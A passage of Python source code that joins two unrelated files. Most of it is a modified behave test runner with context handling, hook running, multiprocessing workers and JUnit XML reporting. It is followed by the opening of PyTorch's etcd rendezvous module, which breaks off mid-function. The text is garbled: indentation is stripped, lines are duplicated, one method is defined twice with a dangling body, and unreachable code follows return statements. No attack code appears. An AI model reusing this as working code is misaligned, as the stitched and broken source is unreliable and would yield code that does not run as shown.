if self._origin[attr] is not self.USER:
msg = "user code is masking context attribute '%(attr)s' " \
"originally set by behave"
elif self._config.verbose:
msg = "user code is masking context attribute " \
"'%(attr)s'; see the tutorial for what this means"
if msg:
msg = msg % params
warnings.warn(msg, ContextMaskWarning, stacklevel=3)
def _dump(self, pretty=False, prefix=" "):
for level, frame in enumerate(self._stack):
print("%sLevel %d" % (prefix, level))
if pretty:
for name in sorted(frame.keys()):
value = frame[name]
print("%s %-15s = %r" % (prefix, name, value))
else:
print(prefix + repr(frame))
def __getattr__(self, attr):
if attr[0] == "_":
return self.__dict__[attr]
for frame in self._stack:
if attr in frame:
return frame[attr]
msg = "'{0}' object has no attribute '{1}'"
msg = msg.format(self.__class__.__name__, attr)
raise AttributeError(msg)
def __setattr__(self, attr, value):
if attr[0] == "_":
self.__dict__[attr] = value
return
for frame in self._stack[1:]:
if attr in frame:
record = self._record[attr]
params = {
"attr": attr,
"filename": record[0],
"line": record[1],
"function": record[3],
}
self._emit_warning(attr, params)
stack_limit = 2
if six.PY2:
stack_limit += 1 # Due to traceback2 usage.
stack_frame = traceback.extract_stack(limit=stack_limit)[0]
self._record[attr] = stack_frame
frame = self._stack[0]
frame[attr] = value
if attr not in self._origin:
self._origin[attr] = self._mode
def __delattr__(self, attr):
frame = self._stack[0]
if attr in frame:
del frame[attr]
del self._record[attr]
else:
msg = "'{0}' object has no attribute '{1}' at the current level"
msg = msg.format(self.__class__.__name__, attr)
raise AttributeError(msg)
def __contains__(self, attr):
if attr[0] == "_":
return attr in self.__dict__
for frame in self._stack:
if attr in frame:
return True
return False
def execute_steps(self, steps_text):
"""The steps identified in the "steps" text string will be parsed and
executed in turn just as though they were defined in a feature file.
If the execute_steps call fails (either through error or failure
assertion) then the step invoking it will need to catch the resulting
exceptions.
:param steps_text: Text with the Gherkin steps to execute (as string).
:returns: True, if the steps executed successfully.
:raises: AssertionError, if a step failure occurs.
:raises: ValueError, if invoked without a feature context.
"""
assert isinstance(steps_text, six.text_type), "Steps must be unicode."
if not self.feature:
raise ValueError("execute_steps() called outside of feature")
# -- PREPARE: Save original context data for current step.
# Needed if step definition that called this method uses .table/.text
original_table = getattr(self, "table", None)
original_text = getattr(self, "text", None)
# -- PREPARE: Save original context data for current step.
# Needed if step definition that called this method uses .table/.text
original_table = getattr(self, "table", None)
original_text = getattr(self, "text", None)
self.feature.parser.variant = 'steps'
steps = self.feature.parser.parse_steps(steps_text)
for step in steps:
passed = step.run(self._runner, quiet=True, capture=False)
if not passed:
# -- ISSUE #96: Provide more substep info to diagnose problem.
step_line = u"%s %s" % (step.keyword, step.name)
message = "%s SUB-STEP: %s" % (step.status.upper(), step_line)
if step.error_message:
message += "\nSubstep info: %s" % step.error_message
assert False, message
# -- FINALLY: Restore original context data for current step.
self.table = original_table
self.text = original_text
return True
def add_cleanup(self, cleanup_func, *args, **kwargs):
"""Adds a cleanup function that is called when :meth:`Context._pop()`
is called. This is intended for user-cleanups.
:param cleanup_func: Callable function
:param args: Args for cleanup_func() call (optional).
:param kwargs: Kwargs for cleanup_func() call (optional).
"""
# MAYBE:
assert callable(cleanup_func), "REQUIRES: callable(cleanup_func)"
assert self._stack
if args or kwargs:
def internal_cleanup_func():
cleanup_func(*args, **kwargs)
else:
internal_cleanup_func = cleanup_func
current_frame = self._stack[0]
if cleanup_func not in current_frame["@cleanups"]:
# -- AVOID DUPLICATES:
current_frame["@cleanups"].append(internal_cleanup_func)
@contextlib.contextmanager
def use_context_with_mode(context, mode):
"""Switch context to BEHAVE or USER mode.
Provides a context manager for switching between the two context modes.
.. sourcecode:: python
context = Context()
with use_context_with_mode(context, Context.BEHAVE):
... # Do something
# -- POSTCONDITION: Original context._mode is restored.
:param context: Context object to use.
:param mode: Mode to apply to context object.
"""
# pylint: disable=protected-access
assert mode in (Context.BEHAVE, Context.USER)
current_mode = context._mode
try:
context._mode = mode
yield
finally:
# -- RESTORE: Initial current_mode
# Even if an AssertionError/Exception is raised.
context._mode = current_mode
@contextlib.contextmanager
def scoped_context_layer(context, layer_name=None):
"""Provides context manager for context layer (push/do-something/pop cycle).
.. code-block::
with scoped_context_layer(context):
the_fixture = use_fixture(foo, context, name="foo_42")
"""
# pylint: disable=protected-access
try:
context._push(layer_name)
yield context
finally:
context._pop()
def path_getrootdir(path):
"""
Extract rootdir from path in a platform independent way.
POSIX-PATH EXAMPLE:
rootdir = path_getrootdir("/foo/bar/one.feature")
assert rootdir == "/"
WINDOWS-PATH EXAMPLE:
rootdir = path_getrootdir("D:\\foo\\bar\\one.feature")
assert rootdir == r"D:\"
"""
drive, _ = os.path.splitdrive(path)
if drive:
# -- WINDOWS:
return drive + os.path.sep
# -- POSIX:
return os.path.sep
class ModelRunner(object):
"""
Test runner for a behave model (features).
Provides the core functionality of a test runner and
the functional API needed by model elements.
.. attribute:: aborted
This is set to true when the user aborts a test run
(:exc:`KeyboardInterrupt` exception). Initially: False.
Stored as derived attribute in :attr:`Context.aborted`.
"""
# pylint: disable=too-many-instance-attributes
def __init__(self, config, features=None, step_registry=None):
self.config = config
self.features = features or []
self.hooks = {}
self.formatters = []
self.undefined_steps = []
self.step_registry = step_registry
self.capture_controller = CaptureController(config)
self.context = None
self.feature = None
self.hook_failures = 0
# @property
def _get_aborted(self):
value = False
if self.context:
value = self.context.aborted
return value
# @aborted.setter
def _set_aborted(self, value):
# pylint: disable=protected-access
assert self.context, "REQUIRE: context, but context=%r" % self.context
self.context._set_root_attribute("aborted", bool(value))
aborted = property(_get_aborted, _set_aborted,
doc="Indicates that test run is aborted by the user.")
def run_hook(self, name, context, *args):
if not self.config.dry_run and (name in self.hooks):
try:
with context.use_with_user_mode():
self.hooks[name](context, *args)
# except KeyboardInterrupt:
# self.aborted = True
# if name not in ("before_all", "after_all"):
# raise
except Exception as e: # pylint: disable=broad-except
# -- HANDLE HOOK ERRORS:
use_traceback = False
if self.config.verbose:
use_traceback = True
ExceptionUtil.set_traceback(e)
extra = u""
if "tag" in name:
extra = "(tag=%s)" % args[0]
error_text = ExceptionUtil.describe(e, use_traceback).rstrip()
error_message = u"HOOK-ERROR in %s%s: %s" % (name, extra, error_text)
print(error_message)
self.hook_failures += 1
if "tag" in name:
# -- SCENARIO or FEATURE
statement = getattr(context, "scenario", context.feature)
elif "all" in name:
# -- ABORT EXECUTION: For before_all/after_all
self.aborted = True
statement = None
else:
# -- CASE: feature, scenario, step
statement = args[0]
if statement:
# -- CASE: feature, scenario, step
statement.hook_failed = True
if statement.error_message:
# -- NOTE: One exception/failure is already stored.
# Append only error message.
statement.error_message += u"\n"+ error_message
else:
# -- FIRST EXCEPTION/FAILURE:
statement.store_exception_context(e)
statement.error_message = error_message
def setup_capture(self):
if not self.context:
self.context = Context(self)
self.capture_controller.setup_capture(self.context)
def start_capture(self):
self.capture_controller.start_capture()
def stop_capture(self):
self.capture_controller.stop_capture()
def teardown_capture(self):
self.capture_controller.teardown_capture()
def run_model(self, features=None):
# pylint: disable=too-many-branches
if not self.context:
self.context = Context(self)
if self.step_registry is None:
self.step_registry = the_step_registry
if features is None:
features = self.features
# -- ENSURE: context.execute_steps() works in weird cases (hooks, ...)
context = self.context
self.hook_failures = 0
self.setup_capture()
self.run_hook("before_all", context)
run_feature = not self.aborted
failed_count = 0
undefined_steps_initial_size = len(self.undefined_steps)
for feature in features:
if run_feature:
try:
self.feature = feature
for formatter in self.formatters:
formatter.uri(feature.filename)
failed = feature.run(self)
if failed:
failed_count += 1
if self.config.stop or self.aborted:
# -- FAIL-EARLY: After first failure.
run_feature = False
except KeyboardInterrupt:
self.aborted = True
failed_count += 1
run_feature = False
# -- ALWAYS: Report run/not-run feature to reporters.
# REQUIRED-FOR: Summary to keep track of untested features.
for reporter in self.config.reporters:
reporter.feature(feature)
# -- AFTER-ALL:
# pylint: disable=protected-access, broad-except
cleanups_failed = False
self.run_hook("after_all", self.context)
try:
self.context._do_cleanups() # Without dropping the last context layer.
except Exception:
cleanups_failed = True
if self.aborted:
print("\nABORTED: By user.")
for formatter in self.formatters:
formatter.close()
for reporter in self.config.reporters:
reporter.end()
failed = ((failed_count > 0) or self.aborted or (self.hook_failures > 0)
or (len(self.undefined_steps) > undefined_steps_initial_size)
or cleanups_failed)
# XXX-MAYBE: or context.failed)
return failed
def run(self):
"""
Implements the run method by running the model.
"""
self.context = Context(self)
return self.run_model()
class Runner(ModelRunner):
"""
Standard test runner for behave:
* setup paths
* loads environment hooks
* loads step definitions
* select feature files, parses them and creates model (elements)
"""
def __init__(self, config):
super(Runner, self).__init__(config)
self.path_manager = PathManager()
self.base_dir = None
# @property
def _get_aborted(self):
"""
Indicates that a test run was aborted by the user
(:exc:`KeyboardInterrupt` exception).
Stored in :attr:`Context.aborted` attribute (as root attribute).
:return: Current aborted state, initially false.
:rtype: bool
"""
value = False
if self.context:
value = self.context.aborted
return value
# @aborted.setter
def _set_aborted(self, value):
"""
Set the aborted value.
:param value: New aborted value (as bool).
"""
assert self.context
self.context._set_root_attribute('aborted', bool(value))
aborted = property(_get_aborted, _set_aborted,
doc="Indicates that test run is aborted by the user.")
def setup_paths(self):
# pylint: disable=too-many-branches, too-many-statements
if self.config.paths:
if self.config.verbose:
print("Supplied path:", \
", ".join('"%s"' % path for path in self.config.paths))
first_path = self.config.paths[0]
if hasattr(first_path, "filename"):
# -- BETTER: isinstance(first_path, FileLocation):
first_path = first_path.filename
base_dir = first_path
if base_dir.startswith("@"):
# -- USE: behave @features.txt
base_dir = base_dir[1:]
file_locations = self.feature_locations()
if file_locations:
base_dir = os.path.dirname(file_locations[0].filename)
base_dir = os.path.abspath(base_dir)
# supplied path might be to a feature file
if os.path.isfile(base_dir):
if self.config.verbose:
print("Primary path is to a file so using its directory")
base_dir = os.path.dirname(base_dir)
else:
if self.config.verbose:
print('Using default path "./features"')
base_dir = os.path.abspath("features")
# Get the root. This is not guaranteed to be "/" because Windows.
root_dir = path_getrootdir(base_dir)
new_base_dir = base_dir
steps_dir = self.config.steps_dir
environment_file = self.config.environment_file
while True:
if self.config.verbose:
print("Trying base directory:", new_base_dir)
if os.path.isdir(os.path.join(new_base_dir, steps_dir)):
break
if os.path.isfile(os.path.join(new_base_dir, environment_file)):
break
if new_base_dir == root_dir:
break
new_base_dir = os.path.dirname(new_base_dir)
if new_base_dir == root_dir:
if self.config.verbose:
if not self.config.paths:
print('ERROR: Could not find "%s" directory. '\
'Please specify where to find your features.' % \
steps_dir)
else:
print('ERROR: Could not find "%s" directory in your '\
'specified path "%s"' % (steps_dir, base_dir))
message = 'No %s directory in %r' % (steps_dir, base_dir)
raise ConfigError(message)
base_dir = new_base_dir
self.config.base_dir = base_dir
for dirpath, dirnames, filenames in os.walk(base_dir):
if [fn for fn in filenames if fn.endswith(".feature")]:
break
else:
if self.config.verbose:
if not self.config.paths:
print('ERROR: Could not find any "<name>.feature" files. '\
'Please specify where to find your features.')
else:
print('ERROR: Could not find any "<name>.feature" files '\
'in your specified path "%s"' % base_dir)
raise ConfigError('No feature files in %r' % base_dir)
self.base_dir = base_dir
self.path_manager.add(base_dir)
if not self.config.paths:
self.config.paths = [base_dir]
if base_dir != os.getcwd():
self.path_manager.add(os.getcwd())
def before_all_default_hook(self, context):
"""
Default implementation for :func:`before_all()` hook.
Setup the logging subsystem based on the configuration data.
"""
# pylint: disable=no-self-use
context.config.setup_logging()
def run_hook(self, name, context, *args):
if not self.config.dry_run and (name in self.hooks):
# try:
with context.user_mode():
self.hooks[name](context, *args)
# except KeyboardInterrupt:
# self.aborted = True
# if name not in ("before_all", "after_all"):
# raise
def load_hooks(self, filename=None):
filename = filename or self.config.environment_file
hooks_path = os.path.join(self.base_dir, filename)
if os.path.exists(hooks_path):
exec_file(hooks_path, self.hooks)
if 'before_all' not in self.hooks:
self.hooks['before_all'] = self.before_all_default_hook
def load_step_definitions(self, extra_step_paths=[]):
step_globals = {
'step_matcher': matchers.step_matcher,
}
setup_step_decorators(step_globals)
def load_step_definitions(self, extra_step_paths=None):
if extra_step_paths is None:
extra_step_paths = []
# -- Allow steps to import other stuff from the steps dir
# NOTE: Default matcher can be overridden in "environment.py" hook.
steps_dir = os.path.join(self.base_dir, self.config.steps_dir)
step_paths = [steps_dir] + list(extra_step_paths)
load_step_modules(step_paths)
def feature_locations(self):
return collect_feature_locations(self.config.paths)
def run(self):
with self.path_manager:
self.setup_paths()
return self.run_with_paths()
def run_with_paths(self):
context = self.context = Context(self)
self.load_hooks()
self.load_step_definitions()
assert not self.aborted
stream_openers = self.config.outputs
failed_count = 0
# -- ENSURE: context.execute_steps() works in weird cases (hooks, ...)
# self.setup_capture()
# self.run_hook('before_all', context)
# -- STEP: Parse all feature files (by using their file location).
feature_locations = [filename for filename in self.feature_locations()
if not self.config.exclude(filename)]
features = parse_features(feature_locations, language=self.config.lang)
self.features.extend(features)
# -- STEP: Multi-processing!
if getattr(self.config, 'proc_count'):
return self.run_multiproc()
# -- STEP: Run all features.
stream_openers = self.config.outputs
self.formatters = make_formatters(self.config, stream_openers)
return self.run_model()
def run_multiproc(self):
if not multiprocessing:
print ("ERROR: Cannot import multiprocessing module."
" If you're on python2.5, go get the backport")
return 1
self.config.format = ['plain']
self.parallel_element = getattr(self.config, 'parallel_element')
if not self.parallel_element:
self.parallel_element = 'scenario'
print ("INFO: Without giving --parallel-element, defaulting to 'scenario'...")
else:
if self.parallel_element != 'feature' and \
self.parallel_element != 'scenario':
print ("ERROR: When using --processes, --parallel-element"
" option must be set to 'feature' or 'scenario'. You gave '"+
str(self.parallel_element)+"', which isn't valid.")
return 1
# -- Prevent context warnings.
def do_nothing(obj2, obj3):
pass
self.context._emit_warning = do_nothing
# MARK
if self.step_registry is None:
self.step_registry = the_step_registry
self.joblist_index_queue = multiprocessing.Manager().JoinableQueue()
self.resultsqueue = multiprocessing.Manager().JoinableQueue()
self.joblist = []
scenario_count = 0
feature_count = 0
for feature in self.features:
if self.parallel_element == 'feature' or 'serial' in feature.tags:
self.joblist.append(feature)
self.joblist_index_queue.put(feature_count + scenario_count)
feature_count += 1
continue
for scenario in feature.scenarios:
if scenario.type == 'scenario':
self.joblist.append(scenario)
self.joblist_index_queue.put(
feature_count + scenario_count)
scenario_count += 1
else:
for subscenario in scenario.scenarios:
self.joblist.append(subscenario)
self.joblist_index_queue.put(
feature_count + scenario_count)
scenario_count += 1
proc_count = int(getattr(self.config, 'proc_count'))
print ("INFO: {0} scenario(s) and {1} feature(s) queued for"
" consideration by {2} workers. Some may be skipped if the"
" -t option was given..."
.format(scenario_count, feature_count, proc_count))
time.sleep(2)
#self.hook_failures = 0
# MARK:
self.setup_capture()
self.run_hook("before_all", self.context)
procs = []
for i in range(proc_count):
p = multiprocessing.Process(target=self.worker, args=(i, ))
procs.append(p)
p.start()
[p.join() for p in procs]
self.run_hook('after_all', self.context)
return self.multiproc_fullreport()
def worker(self, proc_number):
while 1:
try:
joblist_index = self.joblist_index_queue.get_nowait()
except Exception as e:
break
current_job = self.joblist[joblist_index]
writebuf = StringIO.StringIO()
self.setfeature(current_job)
self.config.outputs = []
self.config.outputs.append(StreamOpener(stream=writebuf))
stream_openers = self.config.outputs
self.formatters = make_formatters(self.config, stream_openers)
for formatter in self.formatters:
formatter.uri(current_job.filename)
start_time = time.strftime("%Y-%m-%d %H:%M:%S")
current_job.run(self)
end_time = time.strftime("%Y-%m-%d %H:%M:%S")
sys.stderr.write(str(current_job.status)+"\n")
if current_job.type == 'feature':
for reporter in self.config.reporters:
reporter.feature(current_job)
self.clean_buffer(writebuf)
job_report_text = self.generatereport(
proc_number, current_job,
start_time, end_time, writebuf)
if job_report_text:
results = dict()
results['steps_passed'] = 0
results['steps_failed'] = 0
results['steps_skipped'] = 0
results['steps_undefined'] = 0
results['steps_untested'] = 0
results['jobtype'] = current_job.type
results['reportinginfo'] = job_report_text
results['status'] = current_job.status
if current_job.type != 'feature':
results['uniquekey'] = \
current_job.filename + current_job.feature.name
else:
results['scenarios_passed'] = 0
results['scenarios_failed'] = 0
results['scenarios_skipped'] = 0
self.countscenariostatus(current_job, results)
self.countstepstatus(current_job, results)
if current_job.type != 'feature' and \
getattr(self.config, 'junit'):
results['junit_report'] = \
self.generate_junit_report(current_job, writebuf)
self.resultsqueue.put(results)
writebuf.close()
def setfeature(self, current_job):
if current_job.type == 'feature':
self.feature = current_job
else:
self.feature = current_job.feature
def generatereport(self, proc_number, current_job, start_time, end_time, writebuf):
# MARK
#if not writebuf.pos:
#return u""
reportheader = start_time + "|WORKER" + str(proc_number) + " START|" + \
"status:" + str(current_job.status) + "|" + current_job.filename + "\n"
reportfooter = end_time + "|WORKER" + str(proc_number) + " END|" + \
"status:" + str(current_job.status) + "|" + current_job.filename + \
"|Duration:" + str(current_job.duration)
if self.config.format[0] == 'plain' and len(current_job.tags):
tags = "@"
for tag in current_job.tags:
tags += tag + " "
reportheader += "\n" + tags + "\n"
if current_job.status == Status.failed:
self.getskippedsteps(current_job, writebuf)
try:
writebuf.seek(0)
except UnicodeDecodeError as e:
print("SEEK: %s" % e)
return u""
header_unicode = self.to_unicode(reportheader)
footer_unicode = self.to_unicode(reportfooter)
try:
result = header_unicode + writebuf.read() + u"\n" + footer_unicode
except UnicodeError as err:
print("HEADER ERROR: %s" % err)
result = header_unicode + unicode(writebuf.read(), errors='replace') + u"\n" + footer_unicode
#result = err.object[0:err.start]+err.object[err.end:len(err.object)-1]
return result
def getskippedsteps(self, current_job, writebuf):
if current_job.type != 'scenario':
[self.getskippedsteps(s, writebuf) for s in current_job.scenarios]
else:
for step in current_job.all_steps:
if step.status == 'skipped':
writebuf.write(u"Skipped step because of previous error - Scenario:{0}|step:{1}\n"
.format(current_job.name, step.name))
# MARK
def countscenariostatus(self, current_job, results):
if current_job.type != 'scenario':
[self.countscenariostatus(
s, results) for s in current_job.scenarios]
else:
results['scenarios_' + current_job.status] += 1
def countstepstatus(self, current_job, results):
if current_job.type != 'scenario':
[self.countstepstatus(s, results) for s in current_job.scenarios]
else:
for step in current_job.all_steps:
#results['steps_' + step.status] += 1
results['steps_' + step.status.name] += 1
def multiproc_fullreport(self):
metrics = collections.defaultdict(int)
combined_features_from_scenarios_results = collections.defaultdict(lambda: '')
junit_report_objs = []
while not self.resultsqueue.empty():
print("\n" * 3)
print("_" * 75)
jobresult = self.resultsqueue.get()
try:
print(self.to_unicode(jobresult['reportinginfo']))
except Exception as e:
logging.info(e)
# MARK
if 'junit_report' in jobresult:
junit_report_objs.append(jobresult['junit_report'])
if jobresult['jobtype'] != 'feature':
combined_features_from_scenarios_results[
jobresult['uniquekey']] += '|' + jobresult['status'].name
metrics['scenarios_' + jobresult['status'].name] += 1
else:
metrics['features_' + jobresult['status'].name] += 1
metrics['steps_passed'] += jobresult['steps_passed']
metrics['steps_failed'] += jobresult['steps_failed']
metrics['steps_skipped'] += jobresult['steps_skipped']
metrics['steps_undefined'] += jobresult['steps_undefined']
if jobresult['jobtype'] == 'feature':
metrics['scenarios_passed'] += jobresult['scenarios_passed']
metrics['scenarios_failed'] += jobresult['scenarios_failed']
metrics['scenarios_skipped'] += jobresult['scenarios_skipped']
for uniquekey in combined_features_from_scenarios_results:
if 'failed' in combined_features_from_scenarios_results[uniquekey]:
metrics['features_failed'] += 1
elif 'passed' in combined_features_from_scenarios_results[uniquekey]:
metrics['features_passed'] += 1
else:
metrics['features_skipped'] += 1
print("\n" * 3)
print("_" * 75)
print ("{0} features passed, {1} features failed, {2} features skipped\n"
"{3} scenarios passed, {4} scenarios failed, {5} scenarios skipped\n"
"{6} steps passed, {7} steps failed, {8} steps skipped, {9} steps undefined\n"\
.format(
metrics['features_passed'], metrics['features_failed'], metrics['features_skipped'],
metrics['scenarios_passed'], metrics['scenarios_failed'], metrics['scenarios_skipped'],
metrics['steps_passed'], metrics['steps_failed'], metrics['steps_skipped'], metrics['steps_undefined']))
if getattr(self.config,'junit'):
self.write_paralleltestresults_to_junitfile(junit_report_objs)
return metrics['features_failed']
def generate_junit_report(self, cj, writebuf):
report_obj = {}
report_string = u""
report_obj['filebasename'] = cj.location.basename()[:-8]
report_obj['feature_name'] = cj.feature.name
report_obj['status'] = cj.status.name
report_obj['duration'] = round(cj.duration,4)
report_string += '<testcase classname="'
report_string += report_obj['filebasename']+'.'
report_string += report_obj['feature_name']+'" '
report_string += 'name="'+cj.name+'" '
report_string += 'status="'+str(cj.status)+'" '
report_string += 'time="'+str(round(cj.duration,4))+'">'
if cj.status == 'failed':
report_string += self.get_junit_error(cj, writebuf)
report_string += "<system-out>\n<![CDATA[\n"
report_string += "@scenario.begin\n"
writebuf.seek(0)
loglines = writebuf.readlines()
report_string += loglines[1]
for step in cj.all_steps:
report_string += " "*4
report_string += step.keyword + " "
report_string += step.name + " ... "
report_string += str(step.status) + " in "
report_string += str(round(step.duration,4)) + "s\n"
report_string += "\n@scenario.end\n"
report_string += "-"*80
report_string += "\n"
report_string += self.get_junit_stdoutstderr(cj,loglines)
report_string += "</testcase>"
report_obj['report_string'] = report_string
return report_obj
def get_junit_stdoutstderr(self, cj, loglines):
substring = ""
if cj.status == 'passed':
substring += "\nCaptured stdout:\n"
# MARK
#substring += cj.stdout
substring += "\n]]>\n</system-out>"
if cj.stderr:
substring += "<system-err>\n<![CDATA[\n"
substring += "Captured stderr:\n"
substring += cj.stderr
substring += "\n]]>\n</system-err>"
return substring
q = 0
while q < len(loglines):
if loglines[q] == "Captured stdout:\n":
while q < len(loglines) and \
loglines[q] != "Captured stderr:\n":
substring += loglines[q]
q += 1
break
q += 1
substring += "]]>\n</system-out>"
if q < len(loglines):
substring += "<system-err>\n<![CDATA[\n"
while q < len(loglines):
substring += loglines[q]
q = q + 1
substring += "]]>\n</system-err>"
return substring
def get_junit_error(self, cj, writebuf):
failed_step = None
error_string = u""
error_string += '<error message="'
for step in cj.steps:
if step.status == 'failed':
failed_step = step
break
if not failed_step:
error_string += "Unknown Error" '" type="AttributeError">\n'
error_string += "Failing step: Unknown\n"
error_string += "<![CDATA[\n"
error_string += "]]>\n"
error_string += "</error>"
return error_string
try:
error_string += failed_step.exception[0]+'" '
except Exception:
error_string += 'No Exception" '
error_string += 'type="'
error_string += re.sub(".*?\.(.*?)\'.*","\\1",\
str(type(failed_step.exception)))+'">\n'
error_string += "Failing step: "
error_string += failed_step.name + " ... failed in "
error_string += str(round(failed_step.duration,4))+"s\n"
error_string += "Location: " + str(failed_step.location)
error_string += "<![CDATA[\n"
error_string += failed_step.error_message
error_string += "]]>\n</error>"
return error_string
def write_paralleltestresults_to_junitfile(self,junit_report_objs):
feature_reports = {}
for jro in junit_report_objs:
#NOTE: There's an edge-case where this key would not be unique
#Where a feature has the same filename and feature name but
#different directory.
uniquekey = jro['filebasename']+"."+jro['feature_name']
if uniquekey not in feature_reports:
newfeature = {}
newfeature['duration'] = float(jro['duration'])
newfeature['statuses'] = jro['status']
newfeature['filebasename'] = jro['filebasename']
newfeature['total_scenarios'] = 1
newfeature['data'] = jro['report_string']
feature_reports[uniquekey] = newfeature
else:
feature_reports[uniquekey]['duration'] += float(jro['duration'])
feature_reports[uniquekey]['statuses'] += jro['status']
feature_reports[uniquekey]['total_scenarios'] += 1
feature_reports[uniquekey]['data'] += jro['report_string']
for uniquekey in feature_reports.keys():
filedata = u"<?xml version='1.0' encoding='UTF-8'?>\n"
filedata += '<testsuite errors="'
filedata += str(len(re.findall\
("failed",feature_reports[uniquekey]['statuses'])))
filedata += '" failures="0" name="'
filedata += uniquekey+'" '
filedata += 'skipped="'
filedata += str(len(re.findall\
("skipped",feature_reports[uniquekey]['statuses'])))
filedata += '" tests="'
filedata += str(feature_reports[uniquekey]['total_scenarios'])
filedata += '" time="'
filedata += str(round(feature_reports[uniquekey]['duration'],4))
filedata += '">'
filedata += "\n\n"
filedata += feature_reports[uniquekey]['data']
filedata += "</testsuite>"
outputdir = "reports"
custdir = getattr(self.config,'junit_directory')
if custdir:
outputdir = custdir
if not os.path.exists(outputdir):
os.makedirs(outputdir)
filename = outputdir+"/"+"TESTS-"
filename += feature_reports[uniquekey]['filebasename']
filename += ".xml"
fd = open(filename,"w")
fd.write(filedata)
fd.close()
# def setup_capture(self):
# if self.config.stdout_capture:
# self.stdout_capture = StringIO.StringIO()
# self.context.stdout_capture = self.stdout_capture
# if self.config.stderr_capture:
# self.stderr_capture = StringIO.StringIO()
# self.context.stderr_capture = self.stderr_capture
# if self.config.log_capture:
# self.log_capture = LoggingCapture(self.config)
# self.log_capture.inveigle()
# self.context.log_capture = self.log_capture
# def start_capture(self):
# if self.config.stdout_capture:
# self.old_stdout = sys.stdout
# sys.stdout = self.stdout_capture
# if self.config.stderr_capture:
# self.old_stderr = sys.stderr
# sys.stderr = self.stderr_capture
# def stop_capture(self):
# if self.config.stdout_capture:
# sys.stdout = self.old_stdout
# if self.config.stderr_capture:
# sys.stderr = self.old_stderr
# def teardown_capture(self):
# if self.config.log_capture:
# self.log_capture.abandon()
def clean_buffer(self, buf):
return
#for i in range(len(buf.buflist)):
#buf.buflist[i] = self.to_unicode(buf.buflist[i])
@staticmethod
def to_unicode(var):
return var # string now unicode in py3
string = str(var) if isinstance(var, int) else var
return unicode(string, "utf-8", errors='replace') if isinstance(string, str) else string
|
etcd_rendezvous.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
import json
import logging
import sys
import threading
import time
from typing import Optional
import etcd # type: ignore[import]
from torch.distributed.elastic.rendezvous import (
RendezvousClosedError,
RendezvousError,
RendezvousHandler,
RendezvousParameters,
RendezvousTimeoutError,
)
from .utils import parse_rendezvous_endpoint
from .etcd_store import EtcdStore, cas_delay
_log_fmt = logging.Formatter("%(levelname)s %(asctime)s %(message)s")
_log_handler = logging.StreamHandler(sys.stderr)
_log_handler.setFormatter(_log_fmt)
log = logging.getLogger(__name__)
log.propagate = False
log.setLevel(logging.INFO)
log.addHandler(_log_handler)
# Retryable failure exception means the we were too late to make
# a desired state transition (e.g. because of a race condition),
# and should now restart from the beginning.
# A small delay is recommended to avoid spamming Etcd.
class EtcdRendezvousRetryableFailure(Exception):
pass
# Similar to retryable failure, but the new state we observed suggests we
# can re-try immediately, i.e. without a need for "safety delay".
class EtcdRendezvousRetryImmediately(Exception):
pass
# Default timeout for the rendezvous.
_DEFAULT_TIMEOUT: int = 600 # 10 minutes
# Additional waiting time after reaching the minimum number of nodes
# in case the rendezvous is elastic (min != max).
_DEFAULT_LAST_CALL_TIMEOUT: int = 30 # 30 seconds
# Various constants used internally in EtcdRendezvous
CONST_ETCD_SETUP_TTL = 5
CONST_ETCD_FROZEN_TTL = 10
CONST_ETCD_JOINABLE_EPHEMERAL_TTL = 10
# Ephemeral node TTL for worker's keep-alive key:
CONST_WORKER_KEEPALIVE_TTL = 10
# TTL for the ephemeral run_id-specific directory. All rendezvous state data
# for a specific run_id (job instance) is contained within directory.
# Its only role is to clean-up rendezvous data from old runs (for the case when
# etcd server is persistent), and has no affect on correctnes, but should be
# larger than any timeouts that a worker process is expected to survive:
CONST_RUNID_SUBROOT_TTL = 7200 # 2 hours
class EtcdRendezvousHandler(RendezvousHandler):
"""
Implements a
:py:class:`torch.distributed.elastic.rendezvous.RendezvousHandler` interface
backed by
:py:class:`torch.distributed.elastic.rendezvous.etcd_rendezvous.EtcdRendezvous`.
``EtcdRendezvousHandler`` uses a URL to configure the type of rendezvous to
use and to pass implementation specific configurations to the rendezvous
module. The basic etcd rendezvous configuration URL looks like the following
::
etcd://<etcd_address>:<port>/<job_id>?min_workers=<min_workers>&max_workers=<max_workers> # noqa: W605
-- example --
etcd://localhost:2379/1234?min_workers=1&max_workers=3
The URL above is interpreted as follows:
1. Use the rendezvous handler that is registered with the ``etcd``
scheme
2. The ``etcd`` endpoint to use is ``localhost:2379``
3. ``job_id == 1234`` is used as the prefix in etcd (this allows one to
share a common etcd server for multiple jobs so long as the
``job_ids`` are guaranteed to be unique). Note that the job id can be
any string (e.g. does not need to be a number) as long as it is
unique.
4. ``min_workers=1`` and ``max_workers=3`` specifies a range for
membership size - Torch Distributed Elastic starts running the job as
long as the cluster size is greater than or equal to ``min_workers``
and admits up to ``max_workers`` into the cluster.
Below are a full list of the parameters that can be passed to etcd
rendezvous:
+--------------------------------------------+--------------------------+
| Parameter | Description |
+============================================+==========================+
| min_workers | minimum number of |
| | workers for the |
| | rendezvous to be valid |
+--------------------------------------------+--------------------------+
| max_workers | maximum number of |
| | workers to admit |
+--------------------------------------------+--------------------------+
| timeout | total timeout within |
| | which next_rendezvous is |
| | expected to succeed |
| | (default 600s) |
+--------------------------------------------+--------------------------+
| last_call_timeout | additional wait amount |
| | (“last call”) after min |
| | number of workers has |
| | been reached (defaults |
| | to 30s) |
+--------------------------------------------+--------------------------+
| etcd_prefix | path prefix (from etcd |
| | root), inside which all |
| | etcd nodes will be |
| | created (defaults to |
| | ``/torchelastic/p2p``) |
+--------------------------------------------+--------------------------+
"""
def __init__(self, rdzv_impl):
self._rdzv_impl = rdzv_impl
def __del__(self):
# TODO: look into using weakref here instead.
del self._rdzv_impl
def get_backend(self) -> str:
return "etcd"
def next_rendezvous(self):
rdzv_version, rank, world_size = self._rdzv_impl.rendezvous_barrier()
log.info("Creating EtcdStore as the c10d::Store implementation")
store = self._rdzv_impl.setup_kv_store(rdzv_version)
return store, rank, world_size
def is_closed(self):
try:
_, state = self._rdzv_impl.get_rdzv_state()
return state["status"] == "closed"
except etcd.EtcdKeyNotFound:
# No rendezvous state, so it cannot be closed.
return False
def set_closed(self):
self._rdzv_impl.set_closed()
def num_nodes_waiting(self):
try:
_, state = self._rdzv_impl.get_rdzv_state()
if state["status"] == "final":
